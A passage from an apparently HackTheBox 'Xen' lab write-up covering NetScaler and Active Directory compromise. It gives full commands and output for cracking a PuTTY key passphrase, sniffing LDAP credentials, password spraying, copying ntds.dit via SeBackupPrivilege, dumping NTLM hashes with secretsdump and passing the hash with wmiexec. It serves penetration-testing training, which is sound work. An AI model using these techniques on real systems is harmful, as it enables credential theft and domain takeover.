        cr                      cs                      db                      dns                     dos                     event                   filter                  gslb                    HA             
        ica                     ipsec                   ipsecalg                lb                      lsn                     network                 ns                      ntp                     policy         
        pq                      protocol                qos                     rdp                     responder               rewrite                 rise                    router                  snmp           
        spillover               sc                      ssl                     stream                  system                  subscriber              tm                      transform               tunnel         
        utility                 vpn                     wi                      wf                      smpp                    lldp                    mediaclassifica         ulfd                    reputation     
        pcp                     urlfiltering            videooptimizati         adaptivetcp             user            
 Done

I spent some time looking through the commands and trying to see if there was useful information, but nothing came up. The documentation does show a shell command, but this user doesn’t have privilege to run it:

> shell
ERROR: Not authorized to execute this command [shell]

SSH Key

Need Passphrase

The key from the share is just a text file, so I’ll type it from Windows and then create the same file locally. To work with a .ppk, I’ll install puttygen with apt install putty-tools. I can try to reformat it as a standard Linux SSH key, but it needs a password:

root@kali# puttygen private.ppk -O private-openssh -o private.pem 
Enter passphrase to load key: 
puttygen: error loading `private.ppk': wrong passphrase

I’ll format the key into a hash that john can process with putty2john:

root@kali# putty2john private.ppk > private.ppk.john

kwprocessor

I tried several wordlists, but without much luck. rockyou didn’t do it, even with rules. Eventually I found kwprocessor from the Hashcat team. It generates wordlists of keyboard walks.

I’ll clone it locally and use it to make a wordlist:

root@kali:/opt/kwprocessor# ./kwp basechars/full.base keymaps/en-us.keymap routes/2-to-16-max-3-direction-changes.route > ~/hackthebox/endgame-xen-10.13.38.12/keyboard_walks-2-to-16-3-direction

This generates over 65-thousand passwords:

root@kali# wc -l keyboard_walks-2-to-16-3-direction 
65758 keyboard_walks-2-to-16-3-direction

I’ll pass it to john, and it breaks the key:

root@kali# john private.ppk.john -wordlist=keyboard_walks-2-to-26-3-direction 
Using default input encoding: UTF-8
Loaded 1 password hash (PuTTY, Private Key (RSA/DSA/ECDSA/ED25519) [SHA1/AES 32/64])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
=-09876567890-=- (private)
1g 0:00:00:00 DONE (2019-05-14 16:48) 4.000g/s 248832p/s 248832c/s 248832C/s 123456787654321q..23456789876543212
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Now puttygen will create SSH keys:

root@kali# puttygen private.ppk -O private-openssh -o private.pem -P
Enter passphrase to load key: 
Enter passphrase to save key: 
Re-enter passphrase to verify: 

I’ll give it a blank password, which saves it unencrypted.

I’ll also make sure to change the permissions to 600 with chmod 600 private.pem.

Shell

Now I can SSH to .202. I tried SSH as the users I had, and as root, but it fails with each of those:

root@kali# proxychains ssh -i ~/id_private_xen.pem root@172.16.249.202
ProxyChains-3.1 (http://proxychains.sf.net)
###############################################################################
#                                                                             #
#        WARNING: Access to this system is for authorized users only          #
#         Disconnect IMMEDIATELY if you are not an authorized user!           #
#                                                                             #
###############################################################################

Password:

Some Googling led me to some documentation on NetScaler, and I noticed that it was always using the user nsroot. I tried that, and it worked:

root@kali# proxychains ssh -i ~/id_private_xen.pem nsroot@172.16.249.202
ProxyChains-3.1 (http://proxychains.sf.net)
###############################################################################
#                                                                             #
#        WARNING: Access to this system is for authorized users only          #
#         Disconnect IMMEDIATELY if you are not an authorized user!           #
#                                                                             #
###############################################################################

Enter passphrase for key '/root/id_private_xen.pem':
Last login: Wed May  8 23:23:15 2019 from 172.16.249.201
 Done
> 

I’m still at this Netscaler prompt, but this user has access to the shell command:

> shell
Copyright (c) 1992-2013 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
        The Regents of the University of California. All rights reserved.

root@netscaler#

Network Capture

After looking around the box and finding not much of interest, I decided to see what kind of traffic might be flowing through the NetScaler device. I started tcpdump to capture full packets and exclude SSH activity. I’ll run it in the background, and watch the size, and once it gets big enough, kill the process:

root@netscaler# tcpdump -i 1 -w .d.pcap -s 0 'not tcp port 22' &
[1] 8574
tcpdump: listening on 0/1, link-type EN10MB (Ethernet), capture size 65535 bytes
root@netscaler# ls -l .d.pcap
-rw-r--r--  1 root  wheel  262144 May 17 06:04 .d.pcap
root@netscaler# kill 8574
root@netscaler# 2419 packets captured
2544 packets received by filter
0 packets dropped by kernel
[1]+  Done                    tcpdump -i 1 -w .d.pcap -s 0 'not tcp port 22'

I used scp to get the capture back to my box:

root@kali# proxychains scp -i ~/id_private_xen.pem nsroot@172.16.249.202:/tmp/.d/.d.pcap all.pcap                                                                                     
ProxyChains-3.1 (http://proxychains.sf.net)
###############################################################################
#                                                                             #
#        WARNING: Access to this system is for authorized users only          #
#         Disconnect IMMEDIATELY if you are not an authorized user!           #
#                                                                             #
###############################################################################

.d.pcap         100%  318KB 182.6KB/s   00:01

PCAP Analysis

Summary

Opening the PCAP in Wireshark, I’ll take a look at the summary statistic views. In addition to random high ports, there’s traffic on port 80 and 389.

1558069873555

The LDAP (389) traffic is between NetScaler and the DC, whereas the HTTP (80) is between this device and CITRIX:

1558069926418

HTTP

The HTTP traffic contains a POST request which includes a flag:

1558069999996

Camouflage: XEN{bu7_ld4p5_15_4_h455l3}

LDAP

The LDAP streams are all the same. Each one includes the same flag:

1558070119702

I can also drill down and get the LDAP creds for the netscaler-svc account as they are passed in plaintext:

1558070147841

Doppelgänger

Bloodhound

At this point I got a bit stuck and went back to basic enumeration. These creds didn’t seem to be buying me much. I had actually collected Bloodhound data back when I first got a foothold, but I hadn’t seen much in it. I did this by uploading the SharpHound.ps1 ingestor, and then running it:

1558073852506

On revisiting it now with the creds for netscaler-svc, I noticed there were a lot of svc (service) accounts:

1558074281344

Password Spray

Given the flag name of Doppelgänger, I did a password spray with this password on all the accounts. Today I would use crackmapexec to do this:

root@kali# proxychains crackmapexec smb 172.16.249.201 -u svc-accounts -p '#S3rvice#@cc' --continue-on-success
ProxyChains-3.1 (http://proxychains.sf.net)
SMB         172.16.249.201  445    CITRIX           [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 (name:CITRIX) (domain:htb.local) (signing:False) (SMBv1:True)
SMB         172.16.249.201  445    CITRIX           [-] htb.local\app-svc:#S3rvice#@cc STATUS_LOGON_FAILURE 
SMB         172.16.249.201  445    CITRIX           [+] htb.local\backup-svc:#S3rvice#@cc 
SMB         172.16.249.201  445    CITRIX           [-] htb.local\test-svc:#S3rvice#@cc STATUS_LOGON_FAILURE 
SMB         172.16.249.201  445    CITRIX           [+] htb.local\netscaler-svc:#S3rvice#@cc 
SMB         172.16.249.201  445    CITRIX           [+] htb.local\mssql-svc:#S3rvice#@cc 
SMB         172.16.249.201  445    CITRIX           [+] htb.local\xenserver-svc:#S3rvice#@cc 
SMB         172.16.249.201  445    CITRIX           [+] htb.local\print-svc:#S3rvice#@cc

When I originally solved the lab, I used a Bash loop over the accounts with smbclient:

root@kali# for svc in app-svc backup-svc test-svc netscaler-svc mssql-svc xenserver-svc print-svc; do proxychains smbclient -U htb.local\\netscaler-svc%#S3rvice#@cc -L //172.16.249.201/ 2>/dev/null > /dev/null && echo "${svc}:#S3rvice#@cc worked"; done
app-svc:#S3rvice#@cc worked
backup-svc:#S3rvice#@cc worked
test-svc:#S3rvice#@cc worked
mssql-svc:#S3rvice#@cc worked
xenserver-svc:#S3rvice#@cc worked

Either way, it finds that five accounts use this weak service password.

RDP / WinRM Access

The Bloodhound data shows that backup-svc has rdp access to dc.htb.local:

1558074460641

I can connect with proxychains xfreerdp /u:backup-svc /p:#S3rvice#@cc /v:172.16.249.200 and get a desktop, and the next flag:

1558075265656

Some quick enum shows that this account can also connect over winrm (today I would use Evil-WinRM, but back then I used Alamot’s Ruby WinRM script):

root@kali# proxychains ruby winrm_shell_with_upload.rb
ProxyChains-3.1 (http://proxychains.sf.net)
PS htb\backup-svc@DC Documents> cd ..\desktop
PS htb\backup-svc@DC desktop> ls

    Directory: C:\Users\backup-svc\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/31/2019  10:38 PM             27 flag.txt


PS htb\backup-svc@DC desktop> cat flag.txt
XEN{y_5h4r3d_p@55w0Rd5?} 

Doppelgänger: XEN{y_5h4r3d_p@55w0Rd5?}

Owned

Enumeration

With a shell on the domain controller, the obvious next step is to try to get domain admin. My current access is through the svc-backup account:

*Evil-WinRM* PS C:\Users\backup-svc\Documents> net user backup-svc
User name                    backup-svc
Full Name                    backup-svc
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            3/2/2019 10:46:38 PM
Password expires             Never
Password changeable          3/3/2019 10:46:38 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/17/2020 8:17:12 PM

Logon hours allowed          All

Local Group Memberships      *Backup Operators     *Remote Desktop Users
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

The Backup Operators group is interesting for sure, as it provides the ability to read/write most files on the disk. This shows up in the form of SeBackupPrivilege and SeRestorePrivilege:

*Evil-WinRM* PS C:\Users\backup-svc\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Dump Hashes

Strategy

I want to get the ntds.dit file, which is the active directory database that stores all the hashes for the domain users. Unfortunately, even with SeBackupPrivilege, I can’t access ntds.dit on a live machine because it is in use. I’ll use a Microsoft tool, diskshadow to mount a shadow copy of the harddisk from which I can then copy the file. I’ll also need a tool that allows me to take advantage of the SeBackUpPrivilege.

Mount Disk

I’ll RDP into the DC and use diskshadow to create a shadow and mount it as u::

558111566616

Backup Copy

This tool will allow me to use the SeBackupPrivilege to get to files that I otherwise can’t read. I’ll upload the two .dll files to the DC using WinRM, and then import them into PowerShell. Then I can use Copy-FileSeBackupPrivilege u:\Windows\ntds\ntds.dit [destination]

Exfil

The DC can’t talk directly to my Kali box.

I probably could have just used the WinRM upload / download capability, but for some reason I didn’t. Instead, I started a share on the workstation from Citrix, .203:

C:\programdata>net share df=c:\programdata /grant:everyone,FULL
net share df=c:\programdata /grant:everyone,FULL
df was shared successfully.

Then from the DC, I mounted that share:

PS htb\backup-svc@DC Documents> PS htb\backup-svc@DC Documents> net use \\172.16.249.203\df /user:htb\mturner 4install!                                                                                                    
The command completed successfully.

Then I could proxychains access that share from my host.

Putting It All Together

Now with all that prepped, I copied ntds.dit and the SYSTEM hive to my share on .203, and then back to my host:

PS htb\backup-svc@DC system32> Copy-FileSeBackupPrivilege u:\Windows\ntds\ntds.dit \\172.16.249.203\df\ntds.dit
PS htb\backup-svc@DC system32> reg save hklm\system \\172.16.249.203\df\sys

I then used diskshadow to unmount the disk to cleanup.

Dump Hashes

With ntds.dit and system, I can use sercretsdump.py to get hashes:

root@kali# secretsdump.py -system system -ntds ntds.dit LOCAL        
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation                   

[*] Target system bootKey: 0x6e398137ec7f2e204671dad7c778509f
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 4a62a0ac1475b54add921ac8c1b72e31
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:5e507509602e1b651759527b87b6c347:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3791ca8d70c9e1d2d2c7c5b5c7c253e8:::
CITRIX$:1103:aad3b435b51404eeaad3b435b51404ee:fd981d0c915932bb3ddf38b415c49121:::
htb.local\alarsson:1104:aad3b435b51404eeaad3b435b51404ee:92a44f1aa6259c55f9f514fabae5cc3f:::   
htb.local\jmendes:1106:aad3b435b51404eeaad3b435b51404ee:10d0c05f7d958955f0eaf1479b5124a0:::
htb.local\pmorgan:1107:aad3b435b51404eeaad3b435b51404ee:8618ba932416a7404a854b250bf28577:::
htb.local\awardel:1108:aad3b435b51404eeaad3b435b51404ee:270e4d446437f4383b092b42a9f88f0a:::
VDESKTOP3$:1109:aad3b435b51404eeaad3b435b51404ee:e582f9b9d77dae6357bb574620b721ce:::
VDESKTOP2$:1110:aad3b435b51404eeaad3b435b51404ee:f583f9b5fc860b9ae21e482caaad0553:::
...[snip]...

All I really need is the first one, Administrator.

wmiexec

I used wmiexec.py to get a shell with the admin hash, and grab the last flag (Evil-WinRM would work as well):

root@kali# proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be administrator@172.16.249.200                                              
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator

C:\>cd users\administrator\desktop
C:\users\administrator\desktop>type flag.txt
XEN{d3r1v471v3_d0m41n_4dm1n}

Owned: XEN{d3r1v471v3_d0m41n_4dm1n}